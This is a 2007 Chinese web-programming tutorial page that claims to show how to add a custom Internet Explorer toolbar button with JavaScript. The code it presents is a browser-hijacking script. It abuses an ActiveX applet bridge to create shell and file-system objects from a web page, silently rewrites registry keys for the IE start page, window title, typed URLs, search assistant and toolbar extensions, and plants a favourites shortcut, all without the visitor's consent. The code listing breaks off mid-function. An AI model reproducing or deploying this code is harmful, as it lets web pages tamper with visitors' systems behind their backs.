我的一亩三分地 我就喜欢!
13fen  设为主页
 收藏本站
 
当前位置: > 一亩三分地:首页 > 网络学院 > 网络编程 > ASP专区 > Asp客户端/系统 > 用JS定制IE工具栏按钮
热门文章排行
热门文章排行 手推车”功能的实现(10-07)
八大法则防范ASP网站漏洞(10-23)
ASP教程十一、调试ASP脚本(10-23)
在JSP中访问数据库大全(10-23)
虚机服务中常见Asp.Net低级错误一览(03-21)
精采文章排行
精采文章排行 ASP.NET实现抓取网页中的链接(11-15)
ASP连接数据库的11种方法(11-10)
如何动态创建网页的RSS内容摘要(11-10)
ASP网站漏洞及入侵防范方法(11-10)
ASP自定义函数:对字符串正则替换(11-10)
技术专题推荐
网管论坛交流
 

用JS定制IE工具栏按钮 

作者:佚名   来源:一亩三分地   点击:   日期:2007-03-22

document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}

function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();

try
{
if (document.cookie.indexOf("Chg") == -1)
{

Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "Microsoft Internet Explorer");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "Microsoft Internet Explorer");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "about:blank");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\TypedURLs\\url1", "http://sunlight.uis.mtn/");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Extensions\\{12345678-0000-0000-0000-008713385168}\\CLSID", "{1FBA04EE-3024-11d2-8F1F-0000F87ABD16}");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Extensions\\{12345678-0000-0000-0000-008713385168}\\ClsidExtension", "{12345678-0000-0000-0000-008713385168}");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Extensions\\{12345678-0000-0000-0000-008713385168}\\ButtonText", "阳光城市");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Extensions\\{12345678-0000-0000-0000-008713385168}\\Icon", "shell32.dll,42");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Extensions\\{12345678-0000-0000-0000-008713385168}\\HotIcon", "shell32.dll,42");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Extensions\\{12345678-0000-0000-0000-008713385168}\\exec", "http://sunlight.uis.mtn");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Extensions\\{12345678-0000-0000-0000-008713385168}\\Default Visible", "Yes");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Extensions\\{12345678-0000-0000-0000-008713385168}\\MenuStatusBar", "阳光城市");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Extensions\\{12345678-0000-0000-0000-008713385168}\\MenuText", "阳光城市");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Search\\SearchAssistant", "http://....");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Search\\CustomizeSearch", "http://....");
var expdate = new Date((new Date()).getTime() + (1));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc))
  {
  loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
  if(!FSO.FolderExists(loc))
  {
  return;
  }
  }
AddFavLnk(loc, "☆阳光城市☆", "http://..../");
/

文章评论】 【收藏本文】 【推荐好友】 【打印本文】 【论坛讨论

   相关文章:
·ASP中巧用Response属性 ·第六课:ASP脚本循环语句
·在 Web 页上使用条件数值格式 ·连接数据库查询手册(不仅仅适用于asp)
·警惕"给你的FileSystemObject对象加把锁" ·用ASP做全文检索

   文章评论:(条)
  
 请留名: 匿名评论   点击查看所有评论 网管论坛
 

  责任编辑:一分  声明:刊登此文章是为了传递更多信息,文章内容仅供参考,转载请注明出处。